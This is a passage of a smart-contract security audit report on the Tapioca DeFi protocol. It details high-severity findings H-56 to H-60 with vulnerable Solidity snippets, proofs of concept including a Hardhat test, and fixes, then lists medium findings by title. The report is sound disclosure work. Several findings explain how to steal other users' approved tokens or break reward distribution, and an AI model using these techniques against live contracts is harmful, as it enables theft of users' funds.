Recommended Mitigation Steps
Use abi.encodePacked instead of abi.encode on _sendToken, same as the protocol does in _sendNative, so the assumptions will be correct.
[H-56] Tokens can be stolen from other users who have approved Magnetar
Submitted by dirk_y, also found by Madalad, bin2chen, kutugu, Ack, 0xStalin (1, 2), 0xTheC0der, cergyk (1, 2), rvierdiiev, and erebus
The MagnetarV2.sol contract is a helper contract that allows users to interact with other parts of the Tapioca ecosystem. In order for Magnetar to be able to perform actions on behalf of a user, the user has to approve the contract as an approved spender (or equivalent) of the relevant tokens in the part of the Tapioca ecosystem the user wants to interact with.
In order to avoid abuse, many of the actions that Magnetar can perform are protected by a check that the owner of the position/token needs to be the msg.sender of the user interacting with Magnetar. However, there are some methods that are callable through Magnetar that don’t have this check. This allows a malicious user to use approvals other users have made to Magnetar to steal their underlying tokens.
Proof of Concept
As I mentioned above, many of the Magnetar methods have a check to ensure that the msg.sender is the “from” address for the subsequent interactions with other parts of the Tapioca ecosystem. This check is performed by the _checkSender method:
function _checkSender(address _from) internal view {
require(_from == msg.sender, "MagnetarV2: operator not approved");
}
This function does what it is designed to do, however there are some methods that don’t include this protection when they should.
One example is the MARKET_BUY_COLLATERAL action that allows a user to buy collateral in a market:
else if (_action.id == MARKET_BUY_COLLATERAL) {
HelperBuyCollateral memory data = abi.decode(
_action.call[4:],
(HelperBuyCollateral)
);
IMarket(data.market).buyCollateral(
data.from,
data.borrowAmount,
data.supplyAmount,
data.minAmountOut,
address(data.swapper),
data.dexData
);
}
In the market contract there is an underlying call to check whether the sender has the allowance to buy collateral:
function _allowedBorrow(address from, uint share) internal {
if (from != msg.sender) {
if (allowanceBorrow[from][msg.sender] < share) {
revert NotApproved(from, msg.sender);
}
allowanceBorrow[from][msg.sender] -= share;
}
}
Since the msg.sender from the perspective of the market is Magnetar, the user would need to provide a borrow allowance to Magnetar to perform this action through Magnetar.
However, you can see above in the MARKET_BUY_COLLATERAL code snippet that there is no call to _checkSender. As a result, a malicious user can now pass in an arbitrary data.from address to use the allowance provided by another user to perform an unauthorised action. In this case, the malicious user could lever up the user’s position to increase the user’s LTV and therefore push the user closer to insolvency; at which point the user can be liquidated for a profit.
Another example of this issue is with the depositRepayAndRemoveCollateralFromMarket method in MagnetarMarketModule.sol. In this instance a malicious user can drain approved tokens from any other user by depositing into the Magnetar yield box:
// deposit to YieldBox
if (depositAmount > 0) {
_extractTokens(
extractFromSender ? msg.sender : user,
assetAddress,
depositAmount
);
IERC20(assetAddress).approve(address(yieldBox), depositAmount);
yieldBox.depositAsset(
assetId,
address(this),
address(this),
depositAmount,
0
);
}
This is a small snippet from the underlying _depositRepayAndRemoveCollateralFromMarket method that doesn’t include a call to _checkSender and therefore the malicious user can simply set extractFromSender to false and specify an arbitrary user address.
Recommended Mitigation Steps
The _checkSender method should be used in every method in MagnetarV2.sol and MagnetarMarketModule.sol if it isn’t already.
0xRektora (Tapioca) confirmed via duplicate issue 106
[H-57] twAML::participate - reentrancy via _safeMint can be used to brick reward distribution
Submitted by cergyk
A malicious user can use reentrancy in twAML to brick reward distribution
Proof of Concept
As we can see in participate in twAML, the function _safeMint is used to mint the voting position to the user;
However this function executes a callback on the destination contract: onERC721Received, which can then be used to reenter:
// Mint twTAP position
tokenId = ++mintedTWTap;
_safeMint(_participant, tokenId);
The _participant contract can reenter in exitPosition, and release the position since,
require(position.expiry <= block.timestamp, "twTAP: Lock not expired");
position.expiry is not set yet.
However we see that the following effects are executed after _safeMint:
weekTotals[w0 + 1].netActiveVotes += int256(votes);
weekTotals[w1 + 1].netActiveVotes -= int256(votes);
And these have a direct impact on reward distribution;
The malicious user can use reentrancy to increase weekTotals[w0 + 1].netActiveVotes by big amounts without even locking her tokens;
Later when the operator wants to distribute the rewards:
function distributeReward(
uint256 _rewardTokenId,
uint256 _amount
) external {
require(
lastProcessedWeek == currentWeek(),
"twTAP: Advance week first"
);
WeekTotals storage totals = weekTotals[lastProcessedWeek];
IERC20 rewardToken = rewardTokens[_rewardTokenId];
// If this is a DBZ then there are no positions to give the reward to.
// Since reward eligibility starts in the week after locking, there is
// no way to give out rewards THIS week.
// Cast is safe: `netActiveVotes` is at most zero by construction of
// weekly totals and the requirement that they are up to date.
// TODO: Word this better
totals.totalDistPerVote[_rewardTokenId] +=
(_amount * DIST_PRECISION) /
uint256(totals.netActiveVotes);
rewardToken.safeTransferFrom(msg.sender, address(this), _amount);
}
totals.totalDistPerVote[_rewardTokenId] becomes zero
Recommended Mitigation Steps
Use any of these:
- Move effects before _safeMint
- Use nonReentrant modifier
[H-58] A user with a TapiocaOFT allowance >0 could steal all the underlying ERC20 tokens of the owner
Submitted by dirk_y, also found by bin2chen, carrotsmuggler, 0x73696d616f, and chaduke
The TapiocaOFT.sol contract allows users to wrap ERC20 tokens into an OFTV2 type contract to allow for seamless cross-chain use.
As with most ERC20 tokens, owners of tokens have the ability to give an allowance to another address to spend their tokens. This allowance should be decremented every time a user spends the owner’s tokens. However the TapiocaOFT.sol _wrap method contains a bug that allows a user with a non-zero allowance to keep using the same allowance to spend the owner’s tokens.
For example, if an owner had 100 tokens and gave an allowance of 10 to a spender, that spender would be able to spend all 100 tokens in 10 transactions.
Proof of Concept
When a user wants to wrap a non-native ERC20 token into a TapiocaOFT they call wrap which calls _wrap under the hood:
function _wrap(
address _fromAddress,
address _toAddress,
uint256 _amount
) internal virtual {
if (_fromAddress != msg.sender) {
require(
allowance(_fromAddress, msg.sender) >= _amount,
"TOFT_allowed"
);
}
IERC20(erc20).safeTransferFrom(_fromAddress, address(this), _amount);
_mint(_toAddress, _amount);
}
If the sender isn’t the owner of the ERC20 tokens being wrapped, the allowance of the user is checked. However this isn’t checking the underlying ERC20 allowance, but the allowance of the current contract (the TapiocaOFT).
Next, the underlying ERC20 token is transferred from the owner to this address. This decrements the allowance of the sender, however the sender isn’t the original message sender, but this contract.
In order to use this contract as an owner (Alice) I would have to approve the TapiocaOFT contract to spend my ERC20 tokens, and it is common to approve this contract to spend all my tokens if I trust the contract. Now let’s say I approved another user (Bob) to spend some (let’s say 5) of my TapiocaOFT tokens. Bob can now call wrap(aliceAddress, bobAddress, 5) as many times as he wants to steal all of Alice’s tokens.
Recommended Mitigation Steps
In my opinion you shouldn’t be able to wrap another user’s ERC20 tokens into a different token, because this is a different action to spending. Also, there is no way to decrement the allowance of the user (of the TapiocaOFT token) in the same call as we aren’t actually transferring any tokens; there is no function selector in the ERC20 spec to decrease an allowance from another contract.
Therefore I would suggest the following change:
diff --git a/contracts/tOFT/BaseTOFT.sol b/contracts/tOFT/BaseTOFT.sol
index 5658a0a..e8b7f63 100644
--- a/contracts/tOFT/BaseTOFT.sol
+++ b/contracts/tOFT/BaseTOFT.sol
@@ -350,12 +350,7 @@ contract BaseTOFT is BaseTOFTStorage, ERC20Permit {
address _toAddress,
uint256 _amount
) internal virtual {
- if (_fromAddress != msg.sender) {
- require(
- allowance(_fromAddress, msg.sender) >= _amount,
- "TOFT_allowed"
- );
- }
+ require (_fromAddress == msg.sender, "TOFT_allowed");
IERC20(erc20).safeTransferFrom(_fromAddress, address(this), _amount);
_mint(_toAddress, _amount);
}
[H-59] The BigBang contract take more fees than it should
Submitted by 0xRobocop, also found by mojito_auditor, KIntern_NA, xuwinnie, and rvierdiiev
The repay function in the BigBang contract is used for users to repay their loans. The mechanics of the function are simple:
-
- Update the exchange rate
-
- Accrue the fees generated
-
- Call internal function _repay
The internal function _repay handles the state changes regarding the user debt. Specifically, fees are taken by withdrawing all the user’s debt from yieldbox and burning the proportion that does not correspond to fees. The fees stay in the contract’s balance to later be taken by the penrose contract. The logic can be seen here:
function _repay(
address from,
address to,
uint256 part
) internal returns (uint256 amount) {
(totalBorrow, amount) = totalBorrow.sub(part, true);
userBorrowPart[to] -= part;
uint256 toWithdraw = (amount - part); //acrrued
// @audit-issue Takes more fees than it should
uint256 toBurn = amount - toWithdraw;
yieldBox.withdraw(assetId, from, address(this), amount, 0);
//burn USDO
if (toBurn > 0) {
IUSDOBase(address(asset)).burn(address(this), toBurn);
}
emit LogRepay(from, to, amount, part);
}
The problem is that the function burns less than it should, hence, taking more fees than it should.
Proof of Concept
I will provide a symbolic proof and coded proof to illustrate the issue. To show the issue clearly we will assume that there is no opening fee, and that the yearly fee is of 10%. Hence, for the coded PoC it is important to change the values of bigBangEthDebtRate and borrowOpeningFee:
// Penrose contract
bigBangEthDebtRate = 1e17;
// BigBang contract
borrowOpeningFee;
Symbolic
How much fees do the protocol should take?. The answer of this question can be represented in the following equation:
ProtocolFees = CurrentUserDebt - OriginalUserDebt
The fees accrued for the protocol is the difference of the current debt of the user and the original debt of the user. If we examine the implementation of the _repay function we found the next:
//uint256 amount;
(totalBorrow, amount) = totalBorrow.sub(part, true);
userBorrowPart[to] -= part;
uint256 toWithdraw = (amount - part); //acrrued
// @audit-issue Takes more fees than it should
uint256 toBurn = amount - toWithdraw;
yieldBox.withdraw(assetId, from, address(this), amount, 0);
//burn USDO
if (toBurn > 0) {
IUSDOBase(address(asset)).burn(address(this), toBurn);
}
The important variables are:
-
partrepresents the base part of the debt of the user
-
amountis the elastic part that was paid givingpart, elastic means this is the real debt.
At the following line the contract takes amount which is the real user debt from yield box:
yieldBox.withdraw(assetId, from, address(this), amount, 0);
Then it burns some tokens:
if (toBurn > 0) {
IUSDOBase(address(asset)).burn(address(this), toBurn);
}
But how toBurn is calculated?:
uint256 toWithdraw = (amount - part); //acrrued
uint256 toBurn = amount - toWithdraw;
toBurn is just part. Hence, the contract is computing the fees as:
ProtocolFees = amount - part. Rewriting this with the first equation terms will be:
ProtocolFees = CurrentDebt - part.
But it is part equal to OriginalDebt?. Remember that part is not the actual debt, is just the part of the real debt to be paid, this can be found in a comment in the code:
elastic = Total token amount to be repayed by borrowers, base = Total parts of the debt held by borrowers.
So they are equal only for the first borrower, but for the others this wont be the case since the relation of elastic and part wont be 1:1 due to accrued fees, making part < OriginalDebt, and hence the protocol taking more fees. Let’s use some number to showcase it better:
TIME = 0
First borrower A asks 1,000 units, state:
part[A] = 1000
total.part = 1000
total.elastic = 1000
TIME = 1 YEAR
part[A] = 1000 --> no change from borrower A
total.part = 1000 --> no change yet
total.elastic = 1100 --> fees accrued in one year 100 units
Second borrower B asks 1,000 units, state:
part[B] = 909.09
total.part = 1909.09
total.elastic = 2100
B part was computed as:
1000 * 1000 / 1100 = 909.09
TIME = 2 YEAR
Fees are accrued, hence:
total.elastic = 2100 * 1.1 = 2310.
Hence the total fees accrued by the protocol are:
2310 - 2000 = 310.
These 310 are collected from A and B in the following proportions:
A Fee = 210
B Fee = 100
Borrower B produced 100 units of fees, which makes sense, he asked for 1000 units at 10%/year.
When B repays its debt, he needs to repay 1,100 units. Then the contract burns the proportion that was real debt, the problem as stated above is that the function burns the part and not the original debt, hence the contract will burn 909.09 units. Hence it took:
1100 - 909.09 = 190.91 units
The contract took 190.91 in fees rather than 100 units.
Coded PoC
Follow the next steps to run the coded PoC:
- 1.- Make the contract changes described at the beginning.
- 2.- Add the following test under
test/bigBang.test.ts:
describe.only('borrow() & repay() check fees', () => {
it('should borrow and repay check fees', async () => {
const {
wethBigBangMarket,
weth,
wethAssetId,
yieldBox,
deployer,
bar,
usd0,
__wethUsdcPrice,
timeTravel,
eoa1,
} = await loadFixture(register);
await weth.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox.setApprovalForAll(wethBigBangMarket.address, true);
await weth
.connect(eoa1)
.approve(yieldBox.address, ethers.constants.MaxUint256);
await yieldBox
.connect(eoa1)
.setApprovalForAll(wethBigBangMarket.address, true);
const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul(
10,
);
await weth.freeMint(wethMintVal);
await weth.connect(eoa1).freeMint(wethMintVal);
const valShare = await yieldBox.toShare(
wethAssetId,
wethMintVal,
false,
);
await yieldBox.depositAsset(
wethAssetId,
deployer.address,
deployer.address,
0,
valShare,
);
await wethBigBangMarket.addCollateral(
deployer.address,
deployer.address,
false,
0,
valShare,
);
await yieldBox
.connect(eoa1)
.depositAsset(
wethAssetId,
eoa1.address,
eoa1.address,
0,
valShare,
);
await wethBigBangMarket
.connect(eoa1)
.addCollateral(eoa1.address, eoa1.address, false, 0, valShare);
//borrow
const usdoBorrowVal = wethMintVal
.mul(10)
.div(100)
.mul(__wethUsdcPrice.div((1e18).toString()));
await wethBigBangMarket.borrow(
deployer.address,
deployer.address,
usdoBorrowVal,
);
const userBorrowPart = await wethBigBangMarket.userBorrowPart(
deployer.address,
);
console.log('User A Borrow Part: ' + userBorrowPart);
timeTravel(365 * 86400);
await wethBigBangMarket
.connect(eoa1)
.borrow(eoa1.address, eoa1.address, usdoBorrowVal);
timeTravel(365 * 86400);
const eoa1BorrowPart = await wethBigBangMarket.userBorrowPart(
eoa1.address,
);
console.log('User B Borrow Part: ' + eoa1BorrowPart);
const usd0Extra = ethers.BigNumber.from((1e18).toString()).mul(500);
await usd0.mint(eoa1.address, usd0Extra);
await usd0.connect(eoa1).approve(yieldBox.address, usd0Extra);
await yieldBox
.connect(eoa1)
.depositAsset(
await wethBigBangMarket.assetId(),
eoa1.address,
eoa1.address,
usd0Extra,
0,
);
const contractusdoB1 = await usd0.balanceOf(
wethBigBangMarket.address,
);
console.log('Fees before repayment: ' + contractusdoB1);
// Repayment happens
await wethBigBangMarket
.connect(eoa1)
.repay(eoa1.address, eoa1.address, false, eoa1BorrowPart);
const userBorrowPartAfter = await wethBigBangMarket.userBorrowPart(
eoa1.address,
);
// User paid all its debt.
expect(userBorrowPartAfter.eq(0)).to.be.true;
const contractusdoB2 = await usd0.balanceOf(
wethBigBangMarket.address,
);
console.log('Fees after repayment: ' + contractusdoB2);
});
});
Tools Used
Hardhat
Recommended Mitigation Steps
Not only store the user borrow part but also the original debt which is debtAsked + openingFee. So, during repayment the contract can compute the real fees generated.
[H-60] twTAP.claimAndSendRewards() will claim the wrong amount for each reward token due to the use of wrong index
Submitted by chaduke, also found by bin2chen, KIntern_NA, 0xRobocop, and rvierdiiev
Detailed description of the impact of this finding. twTAP.claimAndSendRewards() will claim the wrong amount for each reward token due to the use of wrong index. As a result, some users will lose some rewards and others will claim more rewards then they deserve.
Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
twTAP.claimAndSendRewards() allows the tapOFT to claim and send a list of rewards indicated in _rewardTokens.
It calls the function _claimRewardsOn() to achieve this:
Unfortunately, at L509, it uses the index of i instead of the correct index of claimableIndex. As a result, the amount that is claimed and transferred for each reward is wrong.
Tools Used
VSCode
Recommended Mitigation Steps
We need to use index claimableIndex instead of i for function _claimRewardsOn():
function _claimRewardsOn(
uint256 _tokenId,
address _to,
IERC20[] memory _rewardTokens
) internal {
uint256[] memory amounts = claimable(_tokenId);
unchecked {
uint256 len = _rewardTokens.length;
for (uint256 i = 0; i < len; ) {
uint256 claimableIndex = rewardTokenIndex[_rewardTokens[i]];
- uint256 amount = amounts[i];
+ uint256 amount = amounts[claimableIndex];
if (amount > 0) {
// Math is safe: `amount` calculated safely in `claimable()`
claimed[_tokenId][claimableIndex] += amount;
rewardTokens[claimableIndex].safeTransfer(_to, amount);
}
++i;
}
}
}
Medium Risk Findings (99)
[M-01] getDebtRate() is view and reads ethMarket.getTotalDebt allowing for manipulations
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-02] Single UniswapV3Swapper using a single fee makes it highly likely to be suboptimal
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-03] StargateStrategy#_currentBalance calculation is incorrect and may lead to DoS
Submitted by Madalad, also found by bin2chen
Status: Sponsor Confirmed
[M-04] StargateStrategy#_withdraw: ether becomes trapped in the contract whenever a user withdraws
Submitted by Madalad
Status: Sponsor Confirmed
[M-05] MagnetarV2#burst double counts msg.value for TOFT_WRAP operation, making the transaction revert unless the user overpays
Submitted by Madalad (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 207
[M-06] Oracle is susceptible to manipulation if deployed on Optimism
Submitted by ladboy233, also found by 0xSmartContract
Status: Sponsor Confirmed
[M-07] YearnStrategy is ignoring the lockedProfits, giving away all of the Yield to laggard depositors
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-08] In case of Loss to the Yearn Vault, the Contract will stop working until the loss is repaid
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 96
[M-09] LidoETHStrategy buys stETH at 1-1 instead of buying it from the Pool at Discount
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-10] LidEthStrategys Hardcoded 2.5% slippage allows stealing all tokens above $2MLN
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-11] Curve Strategy Yield can be Lost by Griefing due to Delta Balance Check
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-12] Convex BaseRewardPool allows Claim on Behalf which causes delta to break - Loss of all Rewards
Submitted by GalloDaSballo, also found by minhtrng
Status: Sponsor Confirmed via duplicate issue 1688
[M-13] Missing deadline checks allow pending transactions to be maliciously executed
Submitted by Sathish9098 (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 1513
[M-14] exitPositionAndRemoveCollateral() will fail as MagnetarV2 does not implement onERC721Received()
Submitted by peakbolt
Status: Sponsor Confirmed, but disagreed with severity
[M-15] multiHopSell and multiHopBuy can be frontrunned with high slippage tolerance
Submitted by xuwinnie
Status: Sponsor Confirmed
[M-16] TapiocaOptionLiquidityProvision.registerSingularity() not checking for duplicate assetIds leading to multiple issues
Submitted by zzzitron
Status: Sponsor Confirmed
[M-17] Incorrect accounting for yieldBoxShares in SGLLiquidation results in wrongly read values
Submitted by unsafesol
Status: Sponsor Confirmed
[M-18] User could be forced to withdraw more amount than desired when calling retrieveFromStrategy
Submitted by xuwinnie
Status: Sponsor Confirmed
[M-19] token mights stuck in MagnetarMarketModule contract if the asset doesn’t support cross-chain operation
Submitted by jasonxiale, also found by Madalad
Status: Sponsor Confirmed
[M-20] Tricrypto on arbitrum should not be used as collateral due to virtual_price manipulation due to Vyper 2.15, .16 and 3.0 bug
Submitted by GalloDaSballo, also found by carrotsmuggler
Status: Sponsor Acknowledged
[M-21] CompoundStrategy _currentBalance uses exchangeRateStored which is leaks value
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-22] MEV Attack on stkAAVE causes the AaveStrategy to give away all of the Yield
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-23] Airdropped tokens can be stolen by a bot
Submitted by windhustler
Status: Sponsor Confirmed
[M-24] Cannot use CurveSwapper when calling compound due to mismatched data parameter
Submitted by ayeslick
Status: Sponsor Confirmed
[M-25] Using setBigBangEthMarketDebtRate or setBigBangConfig cause incorrect interest calculation due to retroactively applying the interest rate
Submitted by GalloDaSballo, also found by rvierdiiev (1, 2)
Status: Sponsor Confirmed via duplicate issue 120
[M-26] Burning FlashFee breaks a core protocol invariant
Submitted by GalloDaSballo, also found by jaraxxus
Status: Sponsor Confirmed
[M-27] Multihop buying and selling of collateral will fail due to missing gas payment
Submitted by peakbolt
Status: Sponsor Confirmed
[M-28] TOFT exerciseOption fails due to not passing msg.value properly
Submitted by windhustler (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-29] TapiocaOptionLiquidityProvision stores amount which cause Socialization of Loss when unlocking
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-30] TapiocaOptionLiquidityProvision causes Loss of Yield when depositing and withdrawing from Singularity - should use shares to track balances
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-31] extractTAP() function can allow minting an infinite amount in one week, leading to a DoS attack in emitForWeek()
Submitted by mojito_auditor (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 728
[M-32] YearnStrategy rounding down when calculating toWithdraw could result in insufficient withdrawal amount
Submitted by mojito_auditor
Status: Sponsor Confirmed, but disagreed with severity
[M-33] emitForWeek will lose emissionForWeek if one week is skipped
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 549
[M-34] BaseTOFT.sendToYBAndBorrow() will fail when withdrawing the borrowed asset to another chain
Submitted by peakbolt
Status: Sponsor Confirmed
[M-35] ARBTriCryptoOracle is vulnerable to read-only reentrancy
Submitted by IllIllI (View multiple reports submitted by additional wardens)
Status: Sponsor Acknowledged via duplicate issue 704
[M-36] BaseTOFTSTrategyModule.strategyWithdraw() cross chain call will fail due to missing approvals
Submitted by peakbolt also found by xuwinnie
Status: Sponsor Confirmed via duplicate issue 759
[M-37] Seer.get uses a view fetcher, breaking the intended use
Submitted by GalloDaSballo
Status: Sponsor Confirmed
[M-38] Incorrect eligibleAmount for AirdropBroker Phase 3
Submitted by peakbolt, (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 173
[M-39] Incorrect refund address for BaseTOFT.retrieveFromStrategy() prevents gas refund to user
Submitted by peakbolt
Status: Sponsor Confirmed, but disagreed with severity
[M-40] BigBang and Singularity should not pause repay() and liquidate()
Submitted by peakbolt (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-41] Tapioca Bar: Unusable Market Add Functions in Penrose Contract
Submitted by Limbooo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 79
[M-42] BigBang liquidation share is not distributed 100%
Submitted by plainshift (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-43] _getInterestRate function in SGLCommon contract accrues incorrect fee
Submitted by KIntern_NA
Status: Disputed
[M-44] SGLLeverage/BigBang buyCollateral Can Be Exploited to Steal Asset Approvals & Collateral
Submitted by Ack (View multiple reports submitted by additional wardens)
Status: Disputed via duplicate issue 147
[M-45] Users can borrow funds without any allowance
Submitted by BPZ
Status: Sponsor Confirmed
[M-46] totalCollateralShare state variable not updated in Singularity market upon liquidation, resulting in an error on addCollateral with skim functionality
Submitted by zzzitron (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed, but disagreed with severity
[M-47] BaseTOFTMarketModule.sol: removeCollateral removes collateral from the wrong account
Submitted by carrotsmuggler
Status: Sponsor Confirmed, but disagreed with severity
[M-48] liquidation will fail if the Seer or Oracle reverts instead of returning false
Submitted by zzzitron
Status: Sponsor Confirmed via duplicate issue 34
[M-49] [MC01] Market liquidations can revert due to arithmetic underflow
Submitted by carrotsmuggler, also found by Koolex
Status: Sponsor Confirmed
[M-50] [HC07] SGLLiquidation: Liquidations will fail if liquidationAddress is set
Submitted by carrotsmuggler
Status: Sponsor Acknowledged
[M-51] [MB01] Inadvised hardcoding of pool address in AaveStrategy.sol
Submitted by carrotsmuggler, also found by 0x007
Status: Sponsor Confirmed via duplicate issue 888
[M-52] [HB09] emergencyWithdraw on all strategy contracts useless without a pause mechanism
Submitted by carrotsmuggler (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 1522
[M-53] SGLBorrow::repay and BigBang::repay uses allowedBorrow with the asset amount, whereas other functions use it with share of collateral
Submitted by zzzitron (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 578
[M-54] YieldBox::deposit, YieldBox::withdraw might lock ERC1155 NFT if deposited/withdrawn with less than 1e8 share
Submitted by zzzitron
Status: Sponsor Acknowledged
[M-55] The sending failure of _lzSend is not considered
Submitted by zhaojie
Status: Sponsor Confirmed
[M-56] read-only reentrancy in Curve Eth pool can lead to funds being stolen from the Lido strategy
Submitted by c7e7eff
Status: Sponsor Acknowledged via duplicate issue 704
[M-57] _getDiscountedPaymentAmount doesn’t work for tokens with more than 18 decimals
Submitted by GalloDaSballo (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 1104
[M-58] mTapiocaOFT can’t be rebalanced because the Balancer in tapiocaz-audit calls swapETH() or swap() of the RouterETH but does not forward ether for the message fee
Submitted by 0x73696d616f (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-59] A portion of stargate token rewards earned by StargateStrategy are permanently locked in the contract
Submitted by kaden (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-60] possible reeentrancy if rewardToken is ERC777 or execute arbitrary code on senders/receivers using hooks
Submitted by adeolu
Status: Sponsor Confirmed via duplicate issue 587
[M-61] [M-01] SGLCommon._getInterestRate(): feeFraction multiplied by wrong base amount
Submitted by 0xnev
Status: Sponsor Confirmed
[M-62] SGLLendingCommon.sol: The totalBorrowCap validation is incorrect
Submitted by 0xRobocop, also found by xuwinnie
Status: Sponsor Confirmed
[M-63] tOLP tokens that are not unlocked after they have expired cause the reward distribution to be flawed
Submitted by Ruhum, also found by KIntern_NA
Status: Sponsor Confirmed, but disagreed with severity
[M-64] Potential loss of value in YieldBox’s depositETHAsset()
Submitted by 0xadrii (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 983
[M-65] Loss of possible rewards in Curve Gauge
Submitted by SaeedAlipoor01988, also found by kaden
Status: Sponsor Confirmed
[M-66] FullMath and TickMath libraries desire overflow behavior
Submitted by 0xfuje (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 138
[M-67] Magnetar V2 - mintFromBBAndLendOnSGL can not lock singularity assets to generate TOLP
Submitted by zzebra83
Status: Sponsor Confirmed
[M-68] Compounding mechanism is broken/flawed in ConvexTricryptoStrategy
Submitted by dirk_y, also found by ladboy233
Status: Sponsor Confirmed via duplicate issue 297
[M-69] Inconsistent deposits into lendingPool in AaveStrategy.withdraw() and AaveStrategy.compound()
Submitted by LosPollosHermanos
Status: Sponsor Confirmed
[M-70] Swapper contract isn’t validated for cross-chain leverage operations
Submitted by dirk_y, also found by carrotsmuggler
Status: Sponsor Confirmed
[M-71] Seer.sol inherits OracleMulti.sol which calls _getQuoteAtTick from OracleMath.sol , function which would revert when _getRatioAtTick is called since it doesn’t allow overflow behavior
Submitted by Vagner
Status: Sponsor Confirmed
[M-72] oTAP::participate - Call will always revert if msg.sender is approved but not owner
Submitted by cergyk, also found by bin2chen
Status: Sponsor Confirmed
[M-73] All liquidated collateral can be stolen from Singularity and Big Bang
Submitted by Ack, also found by Koolex
Status: Sponsor Confirmed, but disagreed with severity
[M-74] Stargate swap parameters perform unnecessary airdrop when rebalancing mTapiocaOFT tokens
Submitted by dirk_y
Status: Sponsor Confirmed
[M-75] Rebalancing mTapiocaOFT of native token forces admin to pay for rebalance amount
Submitted by dirk_y (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed, but disagreed with severity
[M-76] TapiocaOptionBroker::newEpoch - An epoch can be skipped leading for unclaimed tap to distribute to be lost
Submitted by cergyk, also found by Udsen
Status: Sponsor Confirmed
[M-77] Loss of COMP reward in CompoundStragety.sol
Submitted by ladboy233, also found by rvierdiiev
Status: Sponsor Confirmed via duplicate issue 247
[M-78] AaveStragety#withdraw and emergecyWithdraw can revert if the supply cap is reached or isFrozen flag is on when compounding
Submitted by ladboy233
Status: Sponsor Confirmed
[M-79] MagnetarMarketModule::_exitPositionAndRemoveCollateral - Impossible to exitPosition without unlocking tOlp
Submitted by cergyk
Status: Sponsor Confirmed
[M-80] BigBang/Singularity::sellCollateral - Surplus of collateral with regards to repay amount is never returned to user
Submitted by cergyk, also found by ladboy233
Status: Sponsor Confirmed
[M-81] averageMagnitude in TapiocaOptionBroker is updated wrongly
Submitted by 0xWaitress
Status: Sponsor disputed
[M-82] Some actions inside MagnetarV2.burst will not work because msg.value is used inside delegate call
Submitted by rvierdiiev (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-83] USDOOptionsModule.exercise doesn’t send refund to user
Submitted by rvierdiiev
Status: Sponsor Confirmed
[M-84] SGLLeverage.multiHopSellCollateral checks swapper on wrong chain
Submitted by rvierdiiev
Status: Sponsor Confirmed
[M-85] User can exercise oTAP options for 3 weeks from a 1 week lock
Submitted by dirk_y, also found by cergyk
Status: Sponsor Confirmed, but disagreed with severity
[M-86] Option brokers don’t handle oracle decimals correctly when calculating payment amounts
Submitted by dirk_y (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-87] The twTAP multiplier can be compromised with manipulated deposits of low value cost and high duration
Submitted by rokinot (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed
[M-88] Oracle Manipulation using Uniswap V3 pool that is not yet deployed
Submitted by SaeedAlipoor01988
Status: Sponsor Confirmed
[M-89] all deposit and withdraw function in Convex and Curve nativeLP Strategy, apply slippage on internal pricing; which call real-time on chain price from Curve directly and subject to MEV
Submitted by 0xWaitress (View multiple reports submitted by additional wardens)
Status: Sponsor Confirmed via duplicate issue 245
[M-90] ConvexTricryptoStrategy does not count CVX reward into compoundAmount and thus _currentBalance leading to an under-estimate of TVL
Submitted by 0xWaitress, also found by minhtrng
Status: Sponsor Confirmed
[M-91] There is no mechanism to track and resolve bad debt
Submitted by rvierdiiev, also found by 0x007
Status: Sponsor Confirmed
[M-92] Executing transfers before reverting (AKA bad execution flow/logic design)
Submitted by erebus
Status: Sponsor Confirmed
[M-93] BigBang Contract: The repay function can be DoSed
Submitted by 0xRobocop, also found by peakbolt
Status: Sponsor Confirmed
[M-94] Blocking the receiving channel by claiming long arbitrary rewards token from a twTAP position
Submitted by HE1M
Status: Sponsor Confirmed
[M-95] reverting with long message leads to DoS attack
Submitted by HE1M
Status: Sponsor Confirmed
[M-96] DoS attack by consuming all the gas during minting NFT callback
Submitted by HE1M
Status: Sponsor Confirmed
[M-97] The owner is a single point of failure and a centralization risk
Submitted by IllIllI-bot
Status: Sponsor Acknowledged
Note: this finding was reported via the winning Automated Findings report. It was declared out of scope for the audit competition, but is being included here for completeness.
[M-98] Unsafe use of transfer()/transferFrom() with IERC20
Submitted by IllIllI-bot
